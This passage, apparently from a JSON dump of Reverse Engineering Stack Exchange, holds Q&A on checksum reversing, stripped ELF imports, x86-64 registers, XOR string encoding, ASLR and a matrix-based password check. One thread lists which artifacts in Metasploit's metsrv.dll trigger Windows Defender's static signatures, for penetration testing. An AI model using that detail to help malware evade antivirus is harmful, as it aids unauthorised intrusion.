141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141415a6ea1\n41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141413362ac\n</code></pre>\n\n<p>Note that the last two contain the same data, rotated right a whole number of bytes.</p>\n\n<p>So, I'm stumped. There are some 24 bit CRCs but they appear to be quite rare. reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to. I've tried some trivial summing methods but the easy ones didn't work and there are too many variations just to guess.</p>\n\n<p>How would I go about figuring this out?</p>\n",
        "Title": "Reverse-engineering a weird 24-bit possibly not CRC checksum",
        "Tags": "|crc|",
        "Answer": "<p>The answer turns out to be very simple, <a href=\"https://stackoverflow.com/questions/2587766/how-is-a-crc32-checksum-calculated\">once you understand what CRC is</a>.</p>\n\n<p>It's similar to a CRC -- the checksum is the remainder when dividing the input by the polynomial with truncated representation <code>0x000201</code>.</p>\n\n<p>I wrote a quick Python script to validate checksum:</p>\n\n\n\n<pre><code>def crc(data, poly):\n    # width = 24 bit\n    # data len = 2048 bit\n    assert poly&lt;(1&lt;&lt;24)\n    for i in range(2048-1,24-1,-1):\n        if data&gt;&gt;i&amp;1:\n            data^=1&lt;&lt;i\n            data^=poly&lt;&lt;(i-24)\n    assert i==24\n    assert data&lt;(1&lt;&lt;24)\n    return data\n\nimport sys\nfor line in sys.stdin.read().splitlines():\n    line = int(line,16)\n    print(crc(line&gt;&gt;24,0x000201) == line&amp;~(-1&lt;&lt;24))\n</code></pre>\n\n<p><a href=\"https://tio.run/##7V3rbhu7Ef7PpzBQ4MABkoD3SxHnUQrw2iMgdQLbRXv@9NXTmSFXkhMfHyeOE1vkLrKSlsPhXL4ZcoeS8@mPm98/XqrPn0ttZ/kqn5d4E1@fffr44Y9Xf2dncPzt7D@7cvP72cWZ1GdpdzNuIt3Zh3qJ97n2@5Z4fV2vbojBu3Px7p3Ur@h@@3h1tjvbXZ5dxct/1nPs80a8lhoub8QYCo9dI9bv3@9@E4e7eODtf1wAy90dt2m8d@e7N9t4Q47dxYXUxzeQ/JZgV/Xm31eXdJ@x3b8@fQSi6z@uGQr8YXdZUWb4/Pb6puwu317VWM5fvb3@9GF3g63X50N2Ir0A4ptzfPta2M7@0xXeQsvi7ffvpX7N/8s5l1y8Oru4oH6//e/8TZfo1efPfB3r4GyZ4OcexhmuhBaQmKzOuhkOZ@D@of2tuH1K3s97D2yOplB/bY0ttm39os5RRICBgwbnnZYZiKQzTsOrh3vSGngXnKLBa0nQuThkkq1AOhVBreQyDgAC3dWWsM2ZO9sK9YM24K7wvjW9Re05WgdSCGexpSToU/d9jlqwj8E@oJcWjjvoi9LbCjyzCxzvGNvgmrtOtkIf5Rxop10kXTPqaDUZqtkqHdmhQj@Dd4FTw6sLyGtIt5fbKVlxdKPBcgJ7Am/RLcc3ecSQGaxLFs0WLd5QFpIDqRv0q@gJePUgp0JaB1doMdCj@6aRPpbugH7gGZQlDX8hjcHRSXOSGzjpYY8A/cJBJq9lqI3RgNCVRCu9I6kKprJOZhhiQAOEUdCx4dC9FWCGcLE4QGdsHYoC9JxUkoe7wEcPJWEMMrpECuAECgLv7q6jMdAsg9ORg5AD8BLEA6Ugl5DqgpQOYBIDTuEaMA@yDUk3LTsENucMyQbUgYZM212qBcpAzkfn6R4aKBNwrPh@445A7O0cYzxAlJstpFwHFdjxlmNJa9JPkcU6yFQH9mY70DegRchheuvlJPFC2yUKXZKeuG@hi5BTNgEQOL0zBGjsUTr80NbYT1Ylc/COKaGkUkorgx5QXgUtvvcs9fv7/qjzechAIFcUgYAscn@EaM3gBnQHd@BYcJIGp0KKgFwcXFT8V/jCiaiUZ8v5Mzr/cHovBYdssEAwMQjwjKIIdlfDWs/Pc/ikfGxsxfLLjuXHnrDCbTmy5YC5J7asc6iOLRDMvbox0dYo2JoM5oahUlbGzBYI5s5FjedkLFsumHuBbEywVbIFgrmfkrjWQXG2QDD56iipYH/@EnGtCZ4XDKtJsii2QDB3LpJCeP9zJ4XlgOcXDM3ln103WDB4TjKUiN7QOZf487LBmg6eJwyz0lUZtkAwdy4qJcn4c8pHCwTPd0KCJWJJni0HzD0tKpWEe@qN5oeo/tQgWRC4TwavjXZPWzdYk8HzB2L0oT7pDuNywEsIhiqCecKtpQWCl5ERuZWQEdiaCuYGoRA26h9fPloOeFnBwK0QNT8BDEpc2eDlgJHzBjMDO8UYWA@pD5dBtgKzAltROPejsldVmB@ZDdbS8CXCsNbkf2D5aIHgZeYimWL1iS0HzP2wrGIR7cdMCgsELzcjauWNDWxNBnPDEAzC82OzwQLBS89FTdqmHrensBzw8oNBcuvSY759tBxwCsFgm0hKPQoG/butKxu8aDC24tX37zAu85/GxOhDzfx7v4S2HHAqweBV8eH7HhgXCE4oI6ZQ6/csEZcDTikYXJAlfns2WA44rWCAXNCqYSsXzA3F1Az0YMsBc69MXC6@fRsMlgNOLxhUyS1/yw/bFwhOMSOakqLxbLlg7kkpZnhQeHj5aIHgRHNiyCo/9IFxOeBUgyHkHB/4i@YFgtPNiCZo1cIDYfA8foKygPDj7SAaV/kh/5/CMv8p50RVqgqVLRDMvTpyopoHPDAuF5x2OCgXtPurtcECwannRPyPGs39X0ldDjj9YAgm3v87hQWCGTIiqCXv/dXScsEM4WDRMn/@Zy4WCObIiUWFxv8MBssBswRDTSaGu2GwQDBPRsxBJ39X@Wg5YKZgUDFG/vV3ERcI5sqIyjtuvtxT@HV/Gmprwdft34Lj08PReelaYSsO516ZJK1D/RoG668azgUE4Wwut792ssw/X05Uqtl6/AX15YAZg4GnlotnKxfMDUWrfT76r7qXA@YMBlszzApsOWDubMRVaKH/0ZsFgnkzIi9BW8uWC@aelGK13OIScYFg5omxKWVyYsYZYKKF5NrqrJvhcAbu@QMPK26fkvfz3gOboynUHxUutm39HtJfCc6N4I6v4/GHbk0JZnyDgyuNt4zFqyMMhIjXlPFaKl4b/BMCHA1XpBcC6YVAeiGQXgikFwLp8YcQ4HCJ9FIivZRILyXSS4n0UiK9lEgvJdKr1uAVgU3vacx1PCUKkuEysTUZzL1AVrrqotkCwdxPScbFoCWDgSH/wnAwEAgQbHVK1pJ0cFo6p2COUDA4t8bJkkhMC1cQyQYH72Sm9UGGzx4ENqgE0LneaiHbU4twerwLTkE7cHIRVG80rqY1QoN7MB4prmUGKkGfLdLgKPhJB3inYESQ0aHZss0kA44BI5I0FSV1HugyfELdQFrgX/eaJqDonwNKduAKOqM00hrgz4Gydd1BQ6TpXAONrFFC1AHsozsnWXFhEzwvOPMZPxY5Fl7x0cxjuYb0C2hpsBJx/Wp0C63O4aioz8Yf7evIiq0kjrKBvazZW9bQvYAecF/4FObcgueBEiwDvnSQC4RUlsFwEshhEFQeWYM4CaEA4o2Bj5WFgRsMAEYCYRvQk5HJzKCWatRrUyB0GPUeYJbkM7k@W@0LLhGlJ@Dp3sOpjQ@aB527V0@RESR8RlBqgpIgaTfTDfcOWLc9AFEOBEW4BTqSfaNAY8owNL5T9pJA9gggr7bLmklOGoukB8P7ZArxQFdrgib0QJ2668jVHkPIpiOnug7lvSyBHG/HKOAZDAi0nI/2C@nIK7p7rlu1BwFJdYesvgwZAapm2MY7WIBltqaCuQtmCSAUArsjUg6R1COC3mGM7lEoLAmHk0FPa66nKMgKhGYHPFqPCOcohfrjyKNkitEbN77QD/rIYhWhGjMPxSomOUcJbJ8R9D66FcbKkKf2SBgPoAqzxIGSot9g1G3T3cgeoaf/MSVRxjqSV1EcUURRbMueD3WQrsfvYSLq0Q5XgSPeSr1h2BQOmsbaSPpd4i3hb9lJ9angMLmAJOLrycUcvMPJb@KQ1UsakqFlNN3tWVZt/gI5MI@iB1WppUTPVhaYu2weYwiqsAWCufdOcuKw9mDL/XNvnXETYKplCwRz75@m1JKLbLl/@u3zatyCwQQwuO/b5sUJrSpbIJg7F6RipcrMw0OoqELAQ6ZUx5u5uBccuRFKCFG38qjXXH1ZHl0Of5gMv@4XYff@TsHGKOqjYbAVJUEJQyWKNIrSzTmq2WNhBgtPoDJQlFHwGeXSW4UW4eIo9TTnqSxbRzH7UMbqpZlwXM7uexpUzhllKyoObfsZvYi7FYe2Mo8fuw/74s4RfyrIYCGMZAhEh9V4R8WsUe7uOxquV@@pVDPKN1hw6vsPYpR3GjhXWSzRbWWwtm/t8h3KUEPS45LdoMmkW6Ii@tflctzhAdujxIfS0r7Y14vVZOO@w0DWJk1CijxKVpLeqtD6ULMedaduXBxgq9wLYnLntg0IOOr6ZD6q0vUa3WHrpG8U9Uob9gFncaLu7tz3AV59g6n@1TdY1vG4IxpwiWF9p22UUUcBEgvLG3a3EmqP3hGtiHjCPKFPWQ8txjos1Up/2JscxV2BQIIU52hjxfQdQYTGfkSMKr7tW/ZY6zDYx4Ic0btFVL97iO19hPSNFwJloOIulnMVbpXJgAVavWl7u0S@7aYetMQCbY90fbTRpFzfxMn7nGAcPypn6y0LIn/KibTneituG26P9XxFQOebxUaRd5R8qRR/9HmUt4H/cZ9uFcoiGT2F9sVy8ShYd7/6nhtp481Qxup5Bt6LpmJobH0Tce4lZbQyB8tqajVwLbXWzSgISAnMMFsImv3hFb@eFj1XxtO6IFMbHTmspPrSD59y9YL9Hw\" rel=\"noreferrer\" title=\"Python 3 \u2013 Try It Online\">Try it online!</a></p>\n\n<p>The <code>crc</code> function may be used to generate missing checksum values.</p>\n\n<h2>How?</h2>\n\n<p>First, I assumed that the checksum function satisfies the property: for all <code>x</code> and <code>y</code>, we have <code>checksum(x) xor checksum(y) == checksum(x xor y)</code>.</p>\n\n<p>Using Gaussian elimination on the provided data, I can deduce that the hash of <code>000000...000000bb0301</code> is <code>bb0301</code>. Looks pretty reasonable.</p>\n\n<p>Then, I read about existing hash functions and see what method they uses. I note that CRC uses polynomial remainder mod 2, so I guess that the hash is the input as a polynomial modulo some polynomial with degree 25 (because the output has 24 bits).</p>\n\n<p>With simple brute force, I conclude that the polynomial is <code>000201</code>. Testing reveals that it's correct.</p>\n\n<blockquote>\n  <p>reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to.</p>\n</blockquote>\n\n<h2>Why reveng executes so quickly?</h2>\n\n<p>It's because there are only 2<sup>width</sup> possible polynomials. reveng only takes small time to try each polynomial. In this case width = 24, so there are only 1048576 polynomials, which is not very large for a computer.</p>\n\n<h2>Why reveng returns no output? What's the difference between this and CRC?</h2>\n\n<p>CRC appends <code>width</code> (in this case - 24) bits to the input before computing polynomial remainder, this algorithm doesn't.</p>\n"
    },
    {
        "Id": "19688",
        "CreationDate": "2018-10-22T16:40:23.730",
        "Body": "<p>I have an ELF 32-bit binary and it is a stripped binary.</p>\n\n<p>Yet, when I load with IDA Pro, I can see the function names like write, open, malloc and so on. So, I am trying to understand if the binary is stripped, then why am I still able to see these function names?</p>\n\n<p>Output of file command for the binary:</p>\n\n<pre><code>ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped\n</code></pre>\n\n<p>Example of a code section from the binary:</p>\n\n<pre><code>.text:080485D0                 push    offset asome_string ; \"[ some string ]\\n\"\n.text:080485D5                 call    sub_80483F0\n\n\n.text:080483F0 buf             = dword ptr  4\n.text:080483F0\n.text:080483F0                 sub     esp, 0Ch\n.text:080483F3                 sub     esp, 4\n.text:080483F6                 sub     esp, 8\n.text:080483F9                 push    [esp+18h+buf]\n.text:080483FD                 call    sub_8049EA0\n.text:08048402                 add     esp, 0Ch\n.text:08048405                 push    eax             ; n\n.text:08048406                 push    [esp+14h+buf]   ; buf\n.text:0804840A                 push    1               ; fd\n.text:0804840C                 call    _write\n.text:08048411                 add     esp, 10h\n.text:08048414                 add     esp, 0Ch\n.text:08048417                 retn\n</code></pre>\n\n<p>In the above code section, sub_80483F0 is a subroutine which takes one argument. This subroutine will then call sub_8049EA0 to calculate the length of the buffer and then write the buffer to stdout.</p>\n\n<p>So, _write is a symbol which was resolved by IDA Pro.</p>\n\n<p>How did IDA Pro resolve _write?</p>\n\n<p>I can see the _write is defined inside the .plt section of the ELF as shown below:</p>\n\n<pre><code>.plt:08048330 _write          proc near               ; CODE XREF: sub_80483F0+1Cp\n.plt:08048330                 jmp     ds:write_ptr\n.plt:08048330 _write          endp\n</code></pre>\n\n<p>It has a jump stub which points to write_ptr</p>\n\n<p>write_ptr is inside the .got.plt which I think will be populated with the correct value of the function pointer at runtime.</p>\n\n<p>But the question is, if the binary is stripped then shouldn't it have prevented IDA Pro from displaying the function name, _write in the first place?</p>\n\n<p>Thanks.</p>\n",
        "Title": "IDA Pro is showing Function names for a Stripped Binary",
        "Tags": "|ida|elf|",
        "Answer": "<p><code>write</code> is a function that is imported from one of your system modules.\nBecause it has to be imported, the name should be available in your binary, and ida uses this to automatically name the stub that calls the function.</p>\n\n<p>As a little experiment, try: <code>objdump -T yourfile</code>, and you should see something like the following (from a dummy x64 binary):</p>\n\n<pre><code>objdump -T test\n\ntest:     file format elf64-x86-64\n\nDYNAMIC SYMBOL TABLE:\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 write\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5     __libc_start_main\n0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__\n</code></pre>\n\n<p>Or even simpler:\n<code>strings yourfile</code></p>\n"
    },
    {
        "Id": "19693",
        "CreationDate": "2018-10-22T21:34:14.390",
        "Body": "<p>I am currently learning reverse engineering and am studying the flags register.</p>\n\n<p>I had in my mind that <code>rflags</code> was just another name for one of the 16 general purpose registers, for example <code>rax</code> or <code>rbx</code>.</p>\n\n<p>But it looks like <code>rflags</code> is actually an additional register. So that makes 17 registers in total... how many more could there be?</p>\n\n<p>I have spent at least an hour on this and found numerous different answers.</p>\n\n<p>The best answer so far is <a href=\"https://www.quora.com/How-many-registers-does-a-x86-64-processor-have/answer/Hanno-Behrens-2\" rel=\"noreferrer\">this</a>, which says that there are 40 registers in total.</p>\n\n<ul>\n<li>16 General Purpose Registers</li>\n<li>2 Status Registers</li>\n<li>6 Code Segment Registers</li>\n<li>16 SSE Registers</li>\n<li>8 FPU/MMX Registers</li>\n</ul>\n\n<p>But if I add that up, I get 48.</p>\n\n<p>Could anybody provide an official answer on how many registers an <code>x86_64</code> CPU has (e.g. an Intel i7).</p>\n\n<p>Additionally, I have seen references to 'hardware' and 'architectural' registers. What are those registers and how many are there?</p>\n",
        "Title": "How many registers does an x86_64 CPU actually have?",
        "Tags": "|assembly|register|x86-64|",
        "Answer": "<p>I believe the discrepancy between 40 and actual sum of 48 is mostly an error, however there are many other registers used for handling hardware, memory management, and control of different features of the CPU. </p>\n\n<p>The answer you linked to covers all the commonly used registers in the following image (taken from there):</p>\n\n<p><a href=\"https://i.stack.imgur.com/s3uPi.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/s3uPi.png\" alt=\"commonly used registers\"></a></p>\n\n<p>There are, however plenty of less commonly known registers. Those registers are not likely used by user mode programs but used to control and initialize the processor and low-level constructs the CPU is aware of. They control CPU subsystems such as the MMU unit, task scheduling, etc. Documentation of those registers can be found in the <a href=\"https://support.amd.com/techdocs/24593.pdf\" rel=\"noreferrer\">AMD64 Architecture Manual</a>.</p>\n\n<p>You can see most of them in the following figure, taken from the <a href=\"https://support.amd.com/techdocs/24593.pdf\" rel=\"noreferrer\">AMD64 Architecture Manual</a>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/qK2sg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/qK2sg.png\" alt=\"system registers\"></a> </p>\n\n<p>Not in the above picture is the new Extended Control Registers family of registers, for which only <code>XCR0</code> is currently defined. </p>\n\n<p>The System Registers are part of the Model Specific Registers that, as the name implied, are model specific. The variety also changes between CPUs. A full list for the AMD64 architecture can be found in \"Appendix A MSR Cross-Reference\" of the <a href=\"https://support.amd.com/techdocs/24593.pdf\" rel=\"noreferrer\">AMD64 Architecture Manual</a>.</p>\n\n<hr>\n\n<p>There are <em>extensions</em> that certain AMD64 based CPUs support/implement that extend the set of <code>XMM</code> registers available. The <code>XMM</code> (and later <code>YMM</code> and <code>ZMM</code>) are currently extended to up to 32 registers of 512 bit each in <a href=\"https://en.wikipedia.org/wiki/Advanced_Vector_Extensions#AVX-512\" rel=\"noreferrer\">AVX-512</a>. Similar to general registers, <code>XMM</code> registers allow access to the lower parts of their <code>YMM</code> and <code>ZMM</code> counterparts.</p>\n\n<p>There are additionally what's called \"memory mapped registers\" which basically means those registers are accessed through memory operations instead of designated instructions. They can be, depending on your definition, countered as registers. One such example is the \"APIC Registers\" described in section 16.3.2 of the AMD64 </p>\n\n<p>There are even internal registers that are not exposed through the instruction set but are used for performance reasons.</p>\n"
    },
    {
        "Id": "19704",
        "CreationDate": "2018-10-23T20:41:23.687",
        "Body": "<p>I'm trying to reverse-engineer a proprietary file format to be able to extract certain strings from files in this format. I have the application, that writes the files, at hand.</p>\n\n<p>By trial-and-error I found out a few characters, however I'm currently clueless what kind of encoding this is or if there exists some kind of shift to obfuscate things.</p>\n\n<p>The alphabet I found out by saving strings with the proprietary application looks like this:</p>\n\n<pre><code>0x3B: 'a'\n0x38: 'b'\n0x39: 'c'\n0x3E: 'd'\n0x3F: 'e'\n0x3C: 'f'\n0x3D: 'g'\n0x32: 'h'\n0x33: 'i'\n0x30: 'j'\n0x31: 'k'\n0x36: 'l'\n0x37: 'm'\n0x34: 'n'\n0x35: 'o'\n0x2A: 'p'\n0x2B: 'q'\n0x28: 'r'\n0x29: 's'\n0x2E: 't'\n0x2F: 'u'\n0x2C: 'v'\n0x2D: 'w'\n0x22: 'x'\n0x23: 'y'\n0x20: 'z'\n</code></pre>\n\n<p>I tried looking at the shift from the Unicode codepoints. Going from <code>a</code> onwards you get a shift of 38, 42, 42, 38, 38, 42, 42, 54, 54, 58, 58, 54, 54, etc.</p>\n\n<p>Do you see any pattern? Any idea on how to proceed except continuing to complete all characters by manual trial-and-error? Would really like to get some basic hints / other things I could try as this is the first time I am doing this.</p>\n",
        "Title": "Find out string encoding/shift of proprietary binary file format",
        "Tags": "|file-format|deobfuscation|encodings|strings|",
        "Answer": "<p>It's a simple exclusive-or (^) operation with the byte 0x5A.</p>\n\n<p>With your examples -</p>\n\n<pre><code>'a' 0x61 ^ 0x5A = 0x3B\n'b' 0x62 ^ 0x5A = 0x38\n'z' 0x7A ^ 0x5A = 0x20\n</code></pre>\n\n<p>Plus some others you should be able to check -</p>\n\n<pre><code>'!' 0x21 ^ 0x5A = 0x7B\n'4' 0x34 ^ 0x5A = 0x6E\n'Q' 0x51 ^ 0x5A = 0x0B\n']' 0x5D ^ 0x5A = 0x07\n</code></pre>\n"
    },
    {
        "Id": "19712",
        "CreationDate": "2018-10-24T19:47:56.500",
        "Body": "<p>As a pentester for a consulting agency, it is part of our job to \"evade\" antivirus after gaining code execution on information systems. It is indeed necessary to prove exploitation of vulnerabilities, as opposed to simply reporting them. If an AV detects the tools we use, clients often will disregard the vulnerability because they are not convinced by the risk it causes.</p>\n\n<p>We noticed that Windows Defender detects the metsrv.dll from Metasploit Framework in memory and kills our shell. The detection is done by mpengine.dll and is either done by some kind of criteria on the emulated binary or is a pattern of bytes in the DLL.</p>\n\n<p>Now that the context of the question is clear, here is the actual question: how could I proceed to pin point <em>exactly</em> what the signature for this file is ?</p>\n\n<p>Before your answer, here are the conclusions I have already come to:</p>\n\n<ul>\n<li>Windows Defender's scanning engine detects metsrv.dll from Metasploit at the moment it is loaded into memory.</li>\n<li>I can use Taviso's <em>loadlibrary</em> to reproduce the detection statically on GNU/Linux, using the following command:</li>\n</ul>\n\n<p><code>\n./mpclient metsrv.x64.dll\nmain(): Scanning metsrv.x64.dll...\nEngineScanCallback(): Scanning input\nEngineScanCallback(): Threat HackTool:Win64/Meterpreter.A!dll identified.\n</code></p>\n\n<ul>\n<li>I have reduced the sample size down from 200 kb to 13 kb using the GNU <em>split</em> utility and a \"binary search\" approach: the sample is split in two parts, both are fed to Windows Defender and the part that is detected is then split in two more parts. Repeat until it is possible, so as to minimize the test case.</li>\n<li>Disassembling mpengine.dll is not very helpful, because there are more than 30k functions found by IDA Pro in it.</li>\n<li>Code coverage analysis with Pin allows to reduce this set to 3k functions, which is still too much to analyze statically.</li>\n<li>mpengine.dll can be debugged in gdb. I put a watch point on the string \"Win64/Meterpreter.A!dll\" to see if I could find an interesting function that would read at this location, maybe at a time close to the verdict's time. Still lost because of the size of the code, even though the watch point is triggered two times.</li>\n<li>A script on GitHub called avwhy.py allows to infer signatures from AVs by changing one byte at a time and memorizing the ones that impact the AV's verdict. After running more than 16 hours, the tool returned me the whole file as part of the signature, which looks like a wrong result: it is improbable that using the split utility I have found the exact signature, because I expect to either have too much bytes or having removed useful bytes from the signature.</li>\n</ul>\n\n<p>As you can see, I have spent numeral hours on this. The goal <strong>is to find the exact signature</strong>, not to evade it by applying some kind of transformation on <em>metsrv.dll</em>. I think it is a fun reverse engineering challenge but I am stuck for now. </p>\n\n<p>What are the steps that I need to take in order to accomplish my goal?</p>\n\n<p><strong>Edit:</strong> In order to clarify what I'm trying to do, here is a self-published paper from Tavis Ormandy: <a href=\"https://lock.cmpxchg8b.com/sophail.pdf\" rel=\"nofollow noreferrer\">Sophail: A Critical Analysis of Sophos Antivirus</a></p>\n\n<p>At page 3, he shows the signature for the file \"Attention 629\". I am trying to achieve the same result. Of course I can attack the 3k functions and work from here, but I suppose Tavis had a more intelligent approach, and that is the type of answers I'm looking for.</p>\n",
        "Title": "Reverse engineering Windows Defender's signature for Metasploit Framework's metsrv.dll",
        "Tags": "|ida|debugging|binary-analysis|gdb|disassemblers|",
        "Answer": "<p>I found all the signatures by performing an Out-of-Band attack on the engine and with the help of a huge set of mutated files. Lots of reverse-engineering as well. I had to triage a lot of false positives and it required manual work, so this is still not the ideal approach, but clearly more scalable than the other suggested ones.</p>\n\n<p>I have shared some of the findings with the rapid7 team as you can see here: <a href=\"https://github.com/rapid7/metasploit-framework/issues/10815\" rel=\"nofollow noreferrer\">https://github.com/rapid7/metasploit-framework/issues/10815</a></p>\n\n<p>Below is copy-paste for compliance with this forum's rules:</p>\n\n<p>Let's say you have a FUD stager and that you encode the STAGES. Windows Defender can still detect your meterpreter session because it has a kernel-land callback to detect when images are loaded into memory (like every competitive AV). This is done with PsSetLoadImageNotifyRoutine &amp;co.</p>\n\n<p>Upon these events, Windows Defender performs a scan on the memory region where the image is loaded and search for STATIC signatures (far from machine learning and behavioural analysis...)</p>\n\n<p>Common detected artifacts are:</p>\n\n<ul>\n<li>Constants such as strings (\"[*] Attempting to add user %s to group %s on domain controller %s\") => such a high score that it is almost an EICAR test, although WD checks that it belongs in a file that follows the PE format.</li>\n<li>Large integer (for instance 0x6A4ABC5B in ReflectiveLoader.h, which is a rot13 hash used to locate APIs that everyone copy pasted around for years);</li>\n<li>Pieces of hard-coded shellcode (each one in base_inject.c, for instance x48\\xC1\\xE8\\x20);</li>\n<li>DLL exports (for instance the export \"ReflectiveLoader\" is searched both by WD and Kaspersky).</li>\n</ul>\n\n<p>Some strings have a very low score but still matter in the verdict. If you have any of the elements above you will get flagged for sure, and removing the low scores ones won't have any impact. An example of such string is \"scheduler_insert_waitable\".</p>\n\n<p>All in all, \"hide yo wife hide your strings\"...</p>\n"
    },
    {
        "Id": "19724",
        "CreationDate": "2018-10-25T20:50:54.983",
        "Body": "<p>Do stack addresses change every time we remotely debug a Linux binary using <code>linux_server</code> and IDA Pro?</p>\n\n<p>I am using IDA Pro and remote debug a linux binary which is running on a Linux machine and I am using <code>linux_server</code> as the <code>dbgsrv</code>.</p>\n\n<p>I noticed that when I enter a subroutine, the stack address is different every time. Is it expected? Is it because I am debugging remotely?</p>\n",
        "Title": "Remote Debugging Linux Binaries - Stack Address Changes?",
        "Tags": "|ida|linux|stack|",
        "Answer": "<p>Most modern operating systems never guaranteed the stack's location will be the same for different process creations to begin with, and this was mostly a byproduct of deterministic execution of those allocations during the operating system's process creation flow.</p>\n\n<p>Moreover, that fact was then used quite frequently to use constant values for stack addresses during exploitation, which is what ASLR prevents. for a while now stacks are being ASLRed to mitigate exploitation, and are actually <em>guaranteed</em> to be randomized. </p>\n"
    },
    {
        "Id": "19729",
        "CreationDate": "2018-10-26T00:12:06.260",
        "Body": "<p>Below is a complex pseudocode for a mathematical problem which attempts to check if a password entered is correct or not.</p>\n\n<p>Previous Analysis Done:\nData is arranged in the form of 3x3 Matrix with i,j as row, columns and k as a temporary variable to generate test conditions.\nElements v6, v7, v8 .. etc are used in the k loop as an array.\nThe end goal is to return 0 for successful completion of the code.</p>\n\n<pre><code>signed __int64 __fastcall check_password(const char *a1)\n{\n  signed int i; // [rsp+10h] [rbp-30h]\n  signed int j; // [rsp+14h] [rbp-2Ch]\n  int v4; // [rsp+18h] [rbp-28h]\n  signed int k; // [rsp+1Ch] [rbp-24h]\n  char v6; // [rsp+20h] [rbp-20h]\n  char v7; // [rsp+21h] [rbp-1Fh]\n  char v8; // [rsp+22h] [rbp-1Eh]\n  char v9; // [rsp+23h] [rbp-1Dh]\n  char v10; // [rsp+24h] [rbp-1Ch]\n  char v11; // [rsp+25h] [rbp-1Bh]\n  char v12; // [rsp+26h] [rbp-1Ah]\n  char v13; // [rsp+27h] [rbp-19h]\n  char v14; // [rsp+28h] [rbp-18h]\n  unsigned __int64 v15; // [rsp+38h] [rbp-8h]\n\n  v15 = __readfsqword(0x28u);\n  v6 = 79; \n  v7 = 8;\n  v8 = 29;\n  v9 = 58;\n  v10 = 81;\n  v11 = 21;\n  v12 = 49;\n  v13 = 123;\n  v14 = 114;\n  if ( strlen(a1) != 9 )\n    return -1;\n  for ( i = 0; i &lt;= 2; ++i )\n  {\n    for ( j = 0; j &lt;= 2; ++j )\n    {\n      v4 = 0;\n      for ( k = 0; k &lt;= 2; ++k )\n        v4 = (a1[3 * k + j] * *(&amp;v6 + 3 * i + k) + v4) % 127;\n      if ( i == j )\n      {\n        if ( v4 != 1 )\n          return -2;\n      }\n      else if ( v4 )\n      {\n        return -2;\n      }\n    }\n  }\n  return 0;\n}\n</code></pre>\n",
        "Title": "Need help understanding a complex mathematical password checking function?",
        "Tags": "|assembly|math|",
        "Answer": "<p>Since you've already mostly decoded the code, there are two things left: 1) understand what the code is doing and 2) understand how to compute the appropriate input.  </p>\n\n<h2>The original code</h2>\n\n<p>First, here's a slightly modified bit of code based on what you already had:</p>\n\n<pre><code>int check_password(const char *s) {\n    char fixed[] __attribute__ ((aligned (16))) = { 79, 8, 29, 58, 81, 21, 49, 123, 114 };\n    if (strlen(s) != 9)\n        return -1;\n    for (int i=0; i &lt; 3; ++i) {\n        for (int j=0; j &lt; 3; ++j) {\n            int sum = 0;\n            for (int k=0; k &lt; 3; ++k) {\n                sum = (fixed[3 * i + k] * s[3 * k + j] + sum) % 127;\n            }\n            if (i == j) {\n                if (sum != 1) {\n                    return -2;\n                }\n            } else if (sum) {\n                return -2;\n            }\n        }\n    }\n    return 0;\n}\n</code></pre>\n\n<p>The <code>__attribute__ ((aligned (16)))</code> can be ignored for our purposes.  (I had included that to get <code>gcc</code> to use the same stack  offset as your sample code.)  What the code is doing is multiplying two 3x3 matrices, mod 127, and checking for the identity matrix.  </p>\n\n<h2>The mathematics</h2>\n\n<p>Unfortunately, ReverseEngineering does not support MathJax, or I'd be able to write out pretty equations.  Since I can't we'll do it the hard way.  Let's say <code>s = \"ABCDEFGHI\"</code> is the input password and we treat it as a 3x3 matrix.  For now, if we just assign uppercase letters to each letter in the password, expressed as a matrix, this is:</p>\n\n<pre><code>A B C        79   8  29       1 0 0\nD E F   x    58  81  21   =   0 1 0    (mod 127)\nG H I        49 123 114       0 0 1\n</code></pre>\n\n<p>If you're familiar with matrix manipulation already, you may already recognize that this means that <code>s</code> must be the <em>inverse</em> of the <code>fixed</code> matrix.  There are multiple ways of calculating this, such as by <a href=\"https://en.wikipedia.org/wiki/Gaussian_elimination#Finding_the_inverse_of_a_matrix\" rel=\"nofollow noreferrer\">Gauss-Jordan elimination</a>.  Another way is to multiply the reciprocal of the <a href=\"https://en.wikipedia.org/wiki/Determinant\" rel=\"nofollow noreferrer\">determinant</a> of the matrix by the transpose of its <a href=\"https://en.wikipedia.org/wiki/Minor_(linear_algebra)#Inverse_of_a_matrix\" rel=\"nofollow noreferrer\">cofactor matrix</a>.  Note that all of the mathematics is done mod 127, as per the original code.</p>\n\n<h2>Worked example</h2>\n\n<p>To make things a bit more concrete, I'll use the latter method and show the step-by-step worked solution.  First, we calculate the determinant using the <a href=\"https://en.wikipedia.org/wiki/Leibniz_formula_for_determinants\" rel=\"nofollow noreferrer\">Leibniz formula</a>.</p>\n\n<pre><code>D = 79*81*114 + 8*21*49 + 29*58*123 - 29*81*49 - 8*58*114 - 79*21*123   (mod 127)\nD = 572550 (mod 127)\nD = 34  (mod 127)\n</code></pre>\n\n<p>To compute the reciprocal, of this we can't just use <code>1/34</code> because we're working with modular mathematics.  So just in the way that we'd expect that <code>34 * 1/34 = 1</code> for regular mathematics, in modular mathematics, we're looking for something that satifies the equation <code>34 * x = 1  (mod 127)</code>.  One way to do this is to use the <a 